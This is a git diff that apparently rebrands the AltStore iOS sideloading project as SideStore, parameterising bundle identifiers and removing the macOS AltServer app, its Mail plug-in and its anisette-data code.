[submodule "Dependencies/MarkdownAttributedString"]
path = Dependencies/MarkdownAttributedString
url = https://github.com/chockenberry/MarkdownAttributedString.git
[submodule "Dependencies/libimobiledevice-glue"]
path = Dependencies/libimobiledevice-glue
url = https://github.com/libimobiledevice/libimobiledevice-glue
[submodule "Dependencies/libfragmentzip"]
path = Dependencies/libfragmentzip
url = https://github.com/SideStore/libfragmentzip.git

3
AltBackup.xcconfig Normal file
View File

@@ -0,0 +1,3 @@
#include "Build.xcconfig"
PRODUCT_BUNDLE_IDENTIFIER = $(PRODUCT_BUNDLE_IDENTIFIER).AltBackup

View File

@@ -4,7 +4,7 @@
<dict>
<key>com.apple.security.application-groups</key>
<array>
<string>group.com.rileytestut.AltStore</string>
<string>group.$(APP_GROUP_IDENTIFIER)</string>
</array>
</dict>
</plist>

View File

@@ -38,7 +38,7 @@ struct BackupError: ALTLocalizedError
let sourceFile: String
let sourceFileLine: Int
var errorFailure: String?
var failure: String?
var failureReason: String? {
switch self.code
@@ -60,7 +60,7 @@ struct BackupError: ALTLocalizedError
var errorUserInfo: [String : Any] {
let userInfo: [String: Any?] = [NSLocalizedDescriptionKey: self.errorDescription,
NSLocalizedFailureReasonErrorKey: self.failureReason,
NSLocalizedFailureErrorKey: self.errorFailure,
NSLocalizedFailureErrorKey: self.failure,
ErrorUserInfoKey.sourceFile: self.sourceFile,
ErrorUserInfoKey.sourceFileLine: self.sourceFileLine]
return userInfo.compactMapValues { $0 }
@@ -69,7 +69,7 @@ struct BackupError: ALTLocalizedError
init(_ code: Code, description: String? = nil, file: String = #file, line: Int = #line)
{
self.code = code
self.errorFailure = description
self.failure = description
self.sourceFile = file
self.sourceFileLine = line
}

View File

@@ -4,10 +4,11 @@
<dict>
<key>ALTAppGroups</key>
<array>
<string>group.com.rileytestut.AltStore</string>
<string>group.$(APP_GROUP_IDENTIFIER)</string>
<string>group.com.SideStore.SideStore</string>
</array>
<key>ALTBundleIdentifier</key>
<string>com.rileytestut.AltBackup</string>
<string>$(PRODUCT_BUNDLE_IDENTIFIER)</string>
<key>CFBundleDevelopmentRegion</key>
<string>$(DEVELOPMENT_LANGUAGE)</string>
<key>CFBundleExecutable</key>

View File

@@ -160,7 +160,7 @@ private extension ViewController
self.textLabel.text = String(format: NSLocalizedString("%@ is inactive.", comment: ""),
Bundle.main.appName ?? NSLocalizedString("App", comment: ""))
self.detailTextLabel.text = String(format: NSLocalizedString("Refresh %@ in AltStore to continue using it.", comment: ""),
self.detailTextLabel.text = String(format: NSLocalizedString("Refresh %@ in SideStore to continue using it.", comment: ""),
Bundle.main.appName ?? NSLocalizedString("this app", comment: ""))
self.detailTextLabel.isHidden = false

View File

@@ -3,7 +3,7 @@
<plist version="1.0">
<dict>
<key>application-identifier</key>
<string>6XVY5G3U44.com.rileytestut.AltDaemon</string>
<string>$(DEVELOPMENT_TEAM).$(ORG_IDENTIFIER).AltDaemon</string>
<key>get-task-allow</key>
<true/>
<key>platform-application</key>

View File

@@ -77,7 +77,7 @@ extension XPCConnectionHandler: NSXPCListenerDelegate
guard
let codeSigningInfo = signingInfo as? [String: Any],
let bundleIdentifier = codeSigningInfo["identifier"] as? String,
bundleIdentifier.contains("com.rileytestut.AltStore")
bundleIdentifier.contains(Bundle.Info.appbundleIdentifier)
else { return false }
let connection = XPCConnection(newConnection)

View File

@@ -1,23 +0,0 @@
//
// ALTPluginService.h
// AltPlugin
//
// Created by Riley Testut on 11/14/19.
// Copyright © 2019 Riley Testut. All rights reserved.
//
#import <Foundation/Foundation.h>
@class ALTAnisetteData;
NS_ASSUME_NONNULL_BEGIN
@interface ALTPluginService : NSObject
@property (class, nonatomic, readonly) ALTPluginService *sharedService;
- (ALTAnisetteData *)requestAnisetteData;
@end
NS_ASSUME_NONNULL_END

View File

@@ -1,105 +0,0 @@
//
// ALTPluginService.m
// AltPlugin
//
// Created by Riley Testut on 11/14/19.
// Copyright © 2019 Riley Testut. All rights reserved.
//
#import "ALTPluginService.h"
#import <dlfcn.h>
#import "ALTAnisetteData.h"
@import AppKit;
@interface AKAppleIDSession : NSObject
- (id)appleIDHeadersForRequest:(id)arg1;
@end
@interface AKDevice
+ (AKDevice *)currentDevice;
- (NSString *)uniqueDeviceIdentifier;
- (NSString *)serialNumber;
- (NSString *)serverFriendlyDescription;
@end
@interface ALTPluginService ()
@property (nonatomic, readonly) NSISO8601DateFormatter *dateFormatter;
@end
@implementation ALTPluginService
+ (instancetype)sharedService
{
static ALTPluginService *_service = nil;
static dispatch_once_t onceToken;
dispatch_once(&onceToken, ^{
_service = [[self alloc] init];
});
return _service;
}
- (instancetype)init
{
self = [super init];
if (self)
{
_dateFormatter = [[NSISO8601DateFormatter alloc] init];
}
return self;
}
+ (void)initialize
{
[[ALTPluginService sharedService] start];
}
- (void)start
{
dlopen("/System/Library/PrivateFrameworks/AuthKit.framework/AuthKit", RTLD_NOW);
[[NSDistributedNotificationCenter defaultCenter] addObserver:self selector:@selector(receiveNotification:) name:@"com.rileytestut.AltServer.FetchAnisetteData" object:nil];
}
- (ALTAnisetteData *)requestAnisetteData
{
NSMutableURLRequest* req = [[NSMutableURLRequest alloc] initWithURL:[[NSURL alloc] initWithString:@"https://developerservices2.apple.com/services/QH65B2/listTeams.action?clientId=XABBG36SBA"]];
[req setHTTPMethod:@"POST"];
AKAppleIDSession *session = [[NSClassFromString(@"AKAppleIDSession") alloc] initWithIdentifier:@"com.apple.gs.xcode.auth"];
NSDictionary *headers = [session appleIDHeadersForRequest:req];
AKDevice *device = [NSClassFromString(@"AKDevice") currentDevice];
NSDate *date = [self.dateFormatter dateFromString:headers[@"X-Apple-I-Client-Time"]];
ALTAnisetteData *anisetteData = [[NSClassFromString(@"ALTAnisetteData") alloc] initWithMachineID:headers[@"X-Apple-I-MD-M"]
oneTimePassword:headers[@"X-Apple-I-MD"]
localUserID:headers[@"X-Apple-I-MD-LU"]
routingInfo:[headers[@"X-Apple-I-MD-RINFO"] longLongValue]
deviceUniqueIdentifier:device.uniqueDeviceIdentifier
deviceSerialNumber:device.serialNumber
deviceDescription:device.serverFriendlyDescription
date:date
locale:[NSLocale currentLocale]
timeZone:[NSTimeZone localTimeZone]];
return anisetteData;
}
- (void)receiveNotification:(NSNotification *)notification
{
NSString *requestUUID = notification.userInfo[@"requestUUID"];
ALTAnisetteData *anisetteData = [self requestAnisetteData];
NSData *data = [NSKeyedArchiver archivedDataWithRootObject:anisetteData requiringSecureCoding:YES error:nil];
[[NSDistributedNotificationCenter defaultCenter] postNotificationName:@"com.rileytestut.AltServer.AnisetteDataResponse" object:nil userInfo:@{@"requestUUID": requestUUID, @"anisetteData": data} deliverImmediately:YES];
}
@end

View File

@@ -1,78 +0,0 @@
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleDevelopmentRegion</key>
<string>$(DEVELOPMENT_LANGUAGE)</string>
<key>CFBundleExecutable</key>
<string>$(EXECUTABLE_NAME)</string>
<key>CFBundleIdentifier</key>
<string>$(PRODUCT_BUNDLE_IDENTIFIER)</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundleName</key>
<string>$(PRODUCT_NAME)</string>
<key>CFBundlePackageType</key>
<string>$(PRODUCT_BUNDLE_PACKAGE_TYPE)</string>
<key>CFBundleShortVersionString</key>
<string>$(MARKETING_VERSION)</string>
<key>CFBundleVersion</key>
<string>$(CURRENT_PROJECT_VERSION)</string>
<key>NSHumanReadableCopyright</key>
<string>Copyright © 2019 Riley Testut. All rights reserved.</string>
<key>NSPrincipalClass</key>
<string>ALTPluginService</string>
<key>Supported10.14PluginCompatibilityUUIDs</key>
<array>
<string># UUIDs for versions from 10.12 to 99.99.99</string>
<string># For mail version 10.0 (3226) on OS X Version 10.12 (build 16A319)</string>
<string>36CCB8BB-2207-455E-89BC-B9D6E47ABB5B</string>
<string># For mail version 10.1 (3251) on OS X Version 10.12.1 (build 16B2553a)</string>
<string>9054AFD9-2607-489E-8E63-8B09A749BC61</string>
<string># For mail version 10.2 (3259) on OS X Version 10.12.2 (build 16D12b)</string>
<string>1CD3B36A-0E3B-4A26-8F7E-5BDF96AAC97E</string>
<string># For mail version 10.3 (3273) on OS X Version 10.12.4 (build 16G1036)</string>
<string>21560BD9-A3CC-482E-9B99-95B7BF61EDC1</string>
<string># For mail version 11.0 (3441.0.1) on OS X Version 10.13 (build 17A315i)</string>
<string>C86CD990-4660-4E36-8CDA-7454DEB2E199</string>
<string># For mail version 12.0 (3445.100.39) on OS X Version 10.14.1 (build 18B45d)</string>
<string>A4343FAF-AE18-40D0-8A16-DFAE481AF9C1</string>
<string># For mail version 13.0 (3594.4.2) on OS X Version 10.15 (build 19A558d)</string>
<string>6EEA38FB-1A0B-469B-BB35-4C2E0EEA9053</string>
</array>
<key>Supported10.15PluginCompatibilityUUIDs</key>
<array>
<string># UUIDs for versions from 10.12 to 99.99.99</string>
<string># For mail version 10.0 (3226) on OS X Version 10.12 (build 16A319)</string>
<string>36CCB8BB-2207-455E-89BC-B9D6E47ABB5B</string>
<string># For mail version 10.1 (3251) on OS X Version 10.12.1 (build 16B2553a)</string>
<string>9054AFD9-2607-489E-8E63-8B09A749BC61</string>
<string># For mail version 10.2 (3259) on OS X Version 10.12.2 (build 16D12b)</string>
<string>1CD3B36A-0E3B-4A26-8F7E-5BDF96AAC97E</string>
<string># For mail version 10.3 (3273) on OS X Version 10.12.4 (build 16G1036)</string>
<string>21560BD9-A3CC-482E-9B99-95B7BF61EDC1</string>
<string># For mail version 11.0 (3441.0.1) on OS X Version 10.13 (build 17A315i)</string>
<string>C86CD990-4660-4E36-8CDA-7454DEB2E199</string>
<string># For mail version 12.0 (3445.100.39) on OS X Version 10.14.1 (build 18B45d)</string>
<string>A4343FAF-AE18-40D0-8A16-DFAE481AF9C1</string>
<string># For mail version 13.0 (3594.4.2) on OS X Version 10.15 (build 19A558d)</string>
<string>6EEA38FB-1A0B-469B-BB35-4C2E0EEA9053</string>
</array>
<key>Supported11.0PluginCompatibilityUUIDs</key>
<array>
<string>D985F0E4-3BBC-4B95-BBA1-12056AC4A531</string>
</array>
<key>Supported11.1PluginCompatibilityUUIDs</key>
<array>
<string>D985F0E4-3BBC-4B95-BBA1-12056AC4A531</string>
</array>
<key>Supported11.2PluginCompatibilityUUIDs</key>
<array>
<string>D985F0E4-3BBC-4B95-BBA1-12056AC4A531</string>
</array>
<key>Supported11.3PluginCompatibilityUUIDs</key>
<array>
<string>D985F0E4-3BBC-4B95-BBA1-12056AC4A531</string>
</array>
</dict>
</plist>

Binary file not shown.

View File

@@ -1,14 +0,0 @@
//
// Use this file to import your target's public headers that you would like to expose to Swift.
//
#import "ALTDeviceManager.h"
#import "ALTWiredConnection.h"
#import "ALTNotificationConnection.h"
// Shared
#import "ALTConstants.h"
#import "ALTConnection.h"
#import "AltXPCProtocol.h"
#import "NSError+ALTServerError.h"
#import "CFNotificationName+AltStore.h"

View File

@@ -1,5 +0,0 @@
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict/>
</plist>

View File

@@ -1,146 +0,0 @@
//
// AnisetteDataManager.swift
// AltServer
//
// Created by Riley Testut on 11/16/19.
// Copyright © 2019 Riley Testut. All rights reserved.
//
import Foundation
private extension Bundle
{
struct ID
{
static let mail = "com.apple.mail"
static let altXPC = "com.rileytestut.AltXPC"
}
}
private extension ALTAnisetteData
{
func sanitize(byReplacingBundleID bundleID: String)
{
guard let range = self.deviceDescription.lowercased().range(of: "(" + bundleID.lowercased()) else { return }
var adjustedDescription = self.deviceDescription[..<range.lowerBound]
adjustedDescription += "(com.apple.dt.Xcode/3594.4.19)>"
self.deviceDescription = String(adjustedDescription)
}
}
class AnisetteDataManager: NSObject
{
static let shared = AnisetteDataManager()
private var anisetteDataCompletionHandlers: [String: (Result<ALTAnisetteData, Error>) -> Void] = [:]
private var anisetteDataTimers: [String: Timer] = [:]
private lazy var xpcConnection: NSXPCConnection = {
let connection = NSXPCConnection(serviceName: Bundle.ID.altXPC)
connection.remoteObjectInterface = NSXPCInterface(with: AltXPCProtocol.self)
connection.resume()
return connection
}()
private override init()
{
super.init()
DistributedNotificationCenter.default().addObserver(self, selector: #selector(AnisetteDataManager.handleAnisetteDataResponse(_:)), name: Notification.Name("com.rileytestut.AltServer.AnisetteDataResponse"), object: nil)
}
func requestAnisetteData(_ completion: @escaping (Result<ALTAnisetteData, Error>) -> Void)
{
self.requestAnisetteDataFromXPCService { (result) in
do
{
let anisetteData = try result.get()
completion(.success(anisetteData))
}
catch CocoaError.xpcConnectionInterrupted
{
// SIP and/or AMFI are not disabled, so fall back to Mail plug-in.
self.requestAnisetteDataFromPlugin { (result) in
completion(result)
}
}
catch
{
completion(.failure(error))
}
}
}
func isXPCAvailable(completion: @escaping (Bool) -> Void)
{
guard let proxy = self.xpcConnection.remoteObjectProxyWithErrorHandler({ (error) in
completion(false)
}) as? AltXPCProtocol else { return }
proxy.ping {
completion(true)
}
}
}
private extension AnisetteDataManager
{
func requestAnisetteDataFromXPCService(completion: @escaping (Result<ALTAnisetteData, Error>) -> Void)
{
guard let proxy = self.xpcConnection.remoteObjectProxyWithErrorHandler({ (error) in
print("Anisette XPC Error:", error)
completion(.failure(error))
}) as? AltXPCProtocol else { return }
proxy.requestAnisetteData { (anisetteData, error) in
anisetteData?.sanitize(byReplacingBundleID: Bundle.ID.altXPC)
completion(Result(anisetteData, error))
}
}
func requestAnisetteDataFromPlugin(completion: @escaping (Result<ALTAnisetteData, Error>) -> Void)
{
let requestUUID = UUID().uuidString
self.anisetteDataCompletionHandlers[requestUUID] = completion
let timer = Timer(timeInterval: 1.0, repeats: false) { (timer) in
self.finishRequest(forUUID: requestUUID, result: .failure(ALTServerError(.pluginNotFound)))
}
self.anisetteDataTimers[requestUUID] = timer
RunLoop.main.add(timer, forMode: .default)
DistributedNotificationCenter.default().postNotificationName(Notification.Name("com.rileytestut.AltServer.FetchAnisetteData"), object: nil, userInfo: ["requestUUID": requestUUID], options: .deliverImmediately)
}
@objc func handleAnisetteDataResponse(_ notification: Notification)
{
guard let userInfo = notification.userInfo, let requestUUID = userInfo["requestUUID"] as? String else { return }
if
let archivedAnisetteData = userInfo["anisetteData"] as? Data,
let anisetteData = try? NSKeyedUnarchiver.unarchivedObject(ofClass: ALTAnisetteData.self, from: archivedAnisetteData)
{
anisetteData.sanitize(byReplacingBundleID: Bundle.ID.mail)
self.finishRequest(forUUID: requestUUID, result: .success(anisetteData))
}
else
{
self.finishRequest(forUUID: requestUUID, result: .failure(ALTServerError(.invalidAnisetteData)))
}
}
func finishRequest(forUUID requestUUID: String, result: Result<ALTAnisetteData, Error>)
{
let completionHandler = self.anisetteDataCompletionHandlers[requestUUID]
self.anisetteDataCompletionHandlers[requestUUID] = nil
let timer = self.anisetteDataTimers[requestUUID]
self.anisetteDataTimers[requestUUID] = nil
timer?.invalidate()
completionHandler?(result)
}
}

View File

@@ -1,397 +0,0 @@
//
// AppDelegate.swift
// AltServer
//
// Created by Riley Testut on 5/24/19.
// Copyright © 2019 Riley Testut. All rights reserved.
//
import Cocoa
import UserNotifications
import AltSign
import LaunchAtLogin
#if STAGING
private let altstoreAppURL = URL(string: "https://f000.backblazeb2.com/file/altstore-staging/altstore.ipa")!
#elseif BETA
private let altstoreAppURL = URL(string: "https://f000.backblazeb2.com/file/altstore/altstore-beta.ipa")!
#else
private let altstoreAppURL = URL(string: "https://f000.backblazeb2.com/file/altstore/altstore.ipa")!
#endif
@NSApplicationMain
class AppDelegate: NSObject, NSApplicationDelegate {
private let pluginManager = PluginManager()
private var statusItem: NSStatusItem?
private var connectedDevices = [ALTDevice]()
private weak var authenticationAlert: NSAlert?
@IBOutlet private var appMenu: NSMenu!
@IBOutlet private var connectedDevicesMenu: NSMenu!
@IBOutlet private var sideloadIPAConnectedDevicesMenu: NSMenu!
@IBOutlet private var launchAtLoginMenuItem: NSMenuItem!
@IBOutlet private var installMailPluginMenuItem: NSMenuItem!
private weak var authenticationAppleIDTextField: NSTextField?
private weak var authenticationPasswordTextField: NSSecureTextField?
func applicationDidFinishLaunching(_ aNotification: Notification)
{
UserDefaults.standard.registerDefaults()
UNUserNotificationCenter.current().delegate = self
ServerConnectionManager.shared.start()
ALTDeviceManager.shared.start()
let item = NSStatusBar.system.statusItem(withLength: -1)
item.menu = self.appMenu
item.button?.image = NSImage(named: "MenuBarIcon")
self.statusItem = item
self.appMenu.delegate = self
self.connectedDevicesMenu.delegate = self
self.sideloadIPAConnectedDevicesMenu.delegate = self
UNUserNotificationCenter.current().requestAuthorization(options: [.alert]) { (success, error) in
guard success else { return }
if !UserDefaults.standard.didPresentInitialNotification
{
let content = UNMutableNotificationContent()
content.title = NSLocalizedString("AltServer Running", comment: "")
content.body = NSLocalizedString("AltServer runs in the background as a menu bar app listening for AltStore.", comment: "")
let request = UNNotificationRequest(identifier: UUID().uuidString, content: content, trigger: nil)
UNUserNotificationCenter.current().add(request)
UserDefaults.standard.didPresentInitialNotification = true
}
}
if self.pluginManager.isUpdateAvailable
{
self.installMailPlugin()
}
}
func applicationWillTerminate(_ aNotification: Notification)
{
// Insert code here to tear down your application
}
}
private extension AppDelegate
{
@objc func installAltStore(_ item: NSMenuItem)
{
guard let index = item.menu?.index(of: item), index != -1 else { return }
let device = self.connectedDevices[index]
self.installApplication(at: altstoreAppURL, to: device)
}
@objc func sideloadIPA(_ item: NSMenuItem)
{
guard let index = item.menu?.index(of: item), index != -1 else { return }
let device = self.connectedDevices[index]
let openPanel = NSOpenPanel()
openPanel.canChooseDirectories = false
openPanel.allowsMultipleSelection = false
openPanel.allowedFileTypes = ["ipa"]
openPanel.begin { (response) in
guard let fileURL = openPanel.url, response == .OK else { return }
self.installApplication(at: fileURL, to: device)
}
}
func installApplication(at url: URL, to device: ALTDevice)
{
let alert = NSAlert()
alert.messageText = NSLocalizedString("Please enter your Apple ID and password.", comment: "")
alert.informativeText = NSLocalizedString("Your Apple ID and password are not saved and are only sent to Apple for authentication.", comment: "")
let textFieldSize = NSSize(width: 300, height: 22)
let appleIDTextField = NSTextField(frame: NSRect(x: 0, y: 0, width: textFieldSize.width, height: textFieldSize.height))
appleIDTextField.delegate = self
appleIDTextField.translatesAutoresizingMaskIntoConstraints = false
appleIDTextField.placeholderString = NSLocalizedString("Apple ID", comment: "")
alert.window.initialFirstResponder = appleIDTextField
self.authenticationAppleIDTextField = appleIDTextField
let passwordTextField = NSSecureTextField(frame: NSRect(x: 0, y: 0, width: textFieldSize.width, height: textFieldSize.height))
passwordTextField.delegate = self
passwordTextField.translatesAutoresizingMaskIntoConstraints = false
passwordTextField.placeholderString = NSLocalizedString("Password", comment: "")
self.authenticationPasswordTextField = passwordTextField
appleIDTextField.nextKeyView = passwordTextField
let stackView = NSStackView(frame: NSRect(x: 0, y: 0, width: textFieldSize.width, height: textFieldSize.height * 2))
stackView.orientation = .vertical
stackView.distribution = .equalSpacing
stackView.spacing = 0
stackView.addArrangedSubview(appleIDTextField)
stackView.addArrangedSubview(passwordTextField)
alert.accessoryView = stackView
alert.addButton(withTitle: NSLocalizedString("Install", comment: ""))
alert.addButton(withTitle: NSLocalizedString("Cancel", comment: ""))
self.authenticationAlert = alert
self.validate()
NSRunningApplication.current.activate(options: .activateIgnoringOtherApps)
let response = alert.runModal()
guard response == .alertFirstButtonReturn else { return }
let username = appleIDTextField.stringValue
let password = passwordTextField.stringValue
func install()
{
ALTDeviceManager.shared.installApplication(at: url, to: device, appleID: username, password: password) { (result) in
switch result
{
case .success(let application):
let content = UNMutableNotificationContent()
content.title = NSLocalizedString("Installation Succeeded", comment: "")
content.body = String(format: NSLocalizedString("%@ was successfully installed on %@.", comment: ""), application.name, device.name)
let request = UNNotificationRequest(identifier: UUID().uuidString, content: content, trigger: nil)
UNUserNotificationCenter.current().add(request)
case .failure(InstallError.cancelled), .failure(ALTAppleAPIError.requiresTwoFactorAuthentication):
// Ignore
break
case .failure(let error as NSError):
let alert = NSAlert()
alert.alertStyle = .critical
alert.messageText = NSLocalizedString("Installation Failed", comment: "")
if let underlyingError = error.userInfo[NSUnderlyingErrorKey] as? Error
{
alert.informativeText = underlyingError.localizedDescription
}
else if let recoverySuggestion = error.localizedRecoverySuggestion
{
alert.informativeText = error.localizedDescription + "\n\n" + recoverySuggestion
}
else
{
alert.informativeText = error.localizedDescription
}
NSRunningApplication.current.activate(options: .activateIgnoringOtherApps)
alert.runModal()
}
}
}
if !self.pluginManager.isMailPluginInstalled || self.pluginManager.isUpdateAvailable
{
AnisetteDataManager.shared.isXPCAvailable { (isAvailable) in
if isAvailable
{
// XPC service is available, so we don't need to install/update Mail plug-in.
// Users can still manually do so from the AltServer menu.
install()
}
else
{
DispatchQueue.main.async {
self.installMailPlugin { (result) in
switch result
{
case .failure: break
case .success: install()
}
}
}
}
}
}
else
{
install()
}
}
@objc func toggleLaunchAtLogin(_ item: NSMenuItem)
{
LaunchAtLogin.isEnabled.toggle()
}
@objc func handleInstallMailPluginMenuItem(_ item: NSMenuItem)
{
if !self.pluginManager.isMailPluginInstalled || self.pluginManager.isUpdateAvailable
{
self.installMailPlugin()
}
else
{
self.uninstallMailPlugin()
}
}
private func installMailPlugin(completion: ((Result<Void, Error>) -> Void)? = nil)
{
self.pluginManager.installMailPlugin { (result) in
DispatchQueue.main.async {
switch result
{
case .failure(PluginError.cancelled): break
case .failure(let error):
let alert = NSAlert()
alert.messageText = NSLocalizedString("Failed to Install Mail Plug-in", comment: "")
alert.informativeText = error.localizedDescription
alert.runModal()
case .success:
let alert = NSAlert()
alert.messageText = NSLocalizedString("Mail Plug-in Installed", comment: "")
alert.informativeText = NSLocalizedString("Please restart Mail and enable AltPlugin in Mail's Preferences. Mail must be running when installing or refreshing apps with AltServer.", comment: "")
alert.runModal()
}
completion?(result)
}
}
}
private func uninstallMailPlugin()
{
self.pluginManager.uninstallMailPlugin { (result) in
DispatchQueue.main.async {
switch result
{
case .failure(PluginError.cancelled): break
case .failure(let error):
let alert = NSAlert()
alert.messageText = NSLocalizedString("Failed to Uninstall Mail Plug-in", comment: "")
alert.informativeText = error.localizedDescription
alert.runModal()
case .success:
let alert = NSAlert()
alert.messageText = NSLocalizedString("Mail Plug-in Uninstalled", comment: "")
alert.informativeText = NSLocalizedString("Please restart Mail for changes to take effect. You will not be able to use AltServer until the plug-in is reinstalled.", comment: "")
alert.runModal()
}
}
}
}
}
extension AppDelegate: NSMenuDelegate
{
func menuWillOpen(_ menu: NSMenu)
{
guard menu == self.appMenu else { return }
self.connectedDevices = ALTDeviceManager.shared.availableDevices
self.launchAtLoginMenuItem.target = self
self.launchAtLoginMenuItem.action = #selector(AppDelegate.toggleLaunchAtLogin(_:))
self.launchAtLoginMenuItem.state = LaunchAtLogin.isEnabled ? .on : .off
if self.pluginManager.isUpdateAvailable
{
self.installMailPluginMenuItem.title = NSLocalizedString("Update Mail Plug-in", comment: "")
}
else if self.pluginManager.isMailPluginInstalled
{
self.installMailPluginMenuItem.title = NSLocalizedString("Uninstall Mail Plug-in", comment: "")
}
else
{
self.installMailPluginMenuItem.title = NSLocalizedString("Install Mail Plug-in", comment: "")
}
self.installMailPluginMenuItem.target = self
self.installMailPluginMenuItem.action = #selector(AppDelegate.handleInstallMailPluginMenuItem(_:))
}
func numberOfItems(in menu: NSMenu) -> Int
{
guard menu == self.connectedDevicesMenu || menu == self.sideloadIPAConnectedDevicesMenu else { return -1 }
return self.connectedDevices.isEmpty ? 1 : self.connectedDevices.count
}
func menu(_ menu: NSMenu, update item: NSMenuItem, at index: Int, shouldCancel: Bool) -> Bool
{
guard menu == self.connectedDevicesMenu || menu == self.sideloadIPAConnectedDevicesMenu else { return false }
if self.connectedDevices.isEmpty
{
item.title = NSLocalizedString("No Connected Devices", comment: "")
item.isEnabled = false
item.target = nil
item.action = nil
}
else
{
let device = self.connectedDevices[index]
item.title = device.name
item.isEnabled = true
item.target = self
item.action = (menu == self.connectedDevicesMenu) ? #selector(AppDelegate.installAltStore(_:)) : #selector(AppDelegate.sideloadIPA(_:))
item.tag = index
}
return true
}
}
extension AppDelegate: NSTextFieldDelegate
{
func controlTextDidChange(_ obj: Notification)
{
self.validate()
}
func controlTextDidEndEditing(_ obj: Notification)
{
self.validate()
}
private func validate()
{
guard
let appleID = self.authenticationAppleIDTextField?.stringValue.trimmingCharacters(in: .whitespacesAndNewlines),
let password = self.authenticationPasswordTextField?.stringValue.trimmingCharacters(in: .whitespacesAndNewlines)
else { return }
if appleID.isEmpty || password.isEmpty
{
self.authenticationAlert?.buttons.first?.isEnabled = false
}
else
{
self.authenticationAlert?.buttons.first?.isEnabled = true
}
self.authenticationAlert?.layout()
}
}
extension AppDelegate: UNUserNotificationCenterDelegate
{
func userNotificationCenter(_ center: UNUserNotificationCenter, willPresent notification: UNNotification, withCompletionHandler completionHandler: @escaping (UNNotificationPresentationOptions) -> Void)
{
completionHandler([.alert, .sound, .badge])
}
}

View File

@@ -1,68 +0,0 @@
{
"images" : [
{
"size" : "16x16",
"idiom" : "mac",
"filename" : "Icon@16.png",
"scale" : "1x"
},
{
"size" : "16x16",
"idiom" : "mac",
"filename" : "Icon@32-1.png",
"scale" : "2x"
},
{
"size" : "32x32",
"idiom" : "mac",
"filename" : "Icon@32.png",
"scale" : "1x"
},
{
"size" : "32x32",
"idiom" : "mac",
"filename" : "Icon@64.png",
"scale" : "2x"
},
{
"size" : "128x128",
"idiom" : "mac",
"filename" : "Icon@128.png",
"scale" : "1x"
},
{
"size" : "128x128",
"idiom" : "mac",
"filename" : "Icon@256-1.png",
"scale" : "2x"
},
{
"size" : "256x256",
"idiom" : "mac",
"filename" : "Icon@256.png",
"scale" : "1x"
},
{
"size" : "256x256",
"idiom" : "mac",
"filename" : "Icon@512-1.png",
"scale" : "2x"
},
{
"size" : "512x512",
"idiom" : "mac",
"filename" : "Icon@512.png",
"scale" : "1x"
},
{
"size" : "512x512",
"idiom" : "mac",
"filename" : "Icon@1024.png",
"scale" : "2x"
}
],
"info" : {
"version" : 1,
"author" : "xcode"
}
}

Binary file not shown.

Before

Width:  |  Height:  |  Size: 294 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 15 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.2 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 40 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 40 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 2.8 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 2.8 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 112 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 112 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 6.7 KiB

View File

@@ -1,6 +0,0 @@
{
"info" : {
"version" : 1,
"author" : "xcode"
}
}

View File

@@ -1,25 +0,0 @@
{
"images" : [
{
"idiom" : "universal",
"filename" : "MenuBar@19.png",
"scale" : "1x"
},
{
"idiom" : "universal",
"filename" : "MenuBar@38.png",
"scale" : "2x"
},
{
"idiom" : "universal",
"scale" : "3x"
}
],
"info" : {
"version" : 1,
"author" : "xcode"
},
"properties" : {
"template-rendering-intent" : "template"
}
}

Binary file not shown.

Before

Width:  |  Height:  |  Size: 2.8 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 3.6 KiB

View File

@@ -1,381 +0,0 @@
<?xml version="1.0" encoding="UTF-8"?>
<document type="com.apple.InterfaceBuilder3.Cocoa.Storyboard.XIB" version="3.0" toolsVersion="17503.1" targetRuntime="MacOSX.Cocoa" propertyAccessControl="none" useAutolayout="YES">
<dependencies>
<deployment identifier="macosx"/>
<plugIn identifier="com.apple.InterfaceBuilder.CocoaPlugin" version="17503.1"/>
<capability name="documents saved in the Xcode 8 format" minToolsVersion="8.0"/>
</dependencies>
<scenes>
<!--Application-->
<scene sceneID="JPo-4y-FX3">
<objects>
<customObject id="YLy-65-1bz" customClass="NSFontManager"/>
<stackView distribution="fill" orientation="vertical" alignment="leading" spacing="4" horizontalStackHuggingPriority="249.99998474121094" verticalStackHuggingPriority="249.99998474121094" detachesHiddenViews="YES" id="urc-xw-Dhc">
<rect key="frame" x="0.0" y="0.0" width="300" height="46"/>
<autoresizingMask key="autoresizingMask" flexibleMaxX="YES" flexibleMinY="YES"/>
<subviews>
<textField verticalHuggingPriority="750" translatesAutoresizingMaskIntoConstraints="NO" id="zLd-d8-ghZ">
<rect key="frame" x="0.0" y="25" width="300" height="21"/>
<textFieldCell key="cell" scrollable="YES" lineBreakMode="clipping" selectable="YES" editable="YES" sendsActionOnEndEditing="YES" borderStyle="bezel" placeholderString="Apple ID" drawsBackground="YES" id="BXa-Re-rs3">
<font key="font" metaFont="system"/>
<color key="textColor" name="controlTextColor" catalog="System" colorSpace="catalog"/>
<color key="backgroundColor" name="textBackgroundColor" catalog="System" colorSpace="catalog"/>
</textFieldCell>
<connections>
<outlet property="delegate" destination="Voe-Tx-rLC" id="QtW-r2-Vuh"/>
<outlet property="nextKeyView" destination="9rp-Vx-rvB" id="bQY-qj-Sej"/>
</connections>
</textField>
<secureTextField verticalHuggingPriority="750" translatesAutoresizingMaskIntoConstraints="NO" id="9rp-Vx-rvB">
<rect key="frame" x="0.0" y="0.0" width="300" height="21"/>
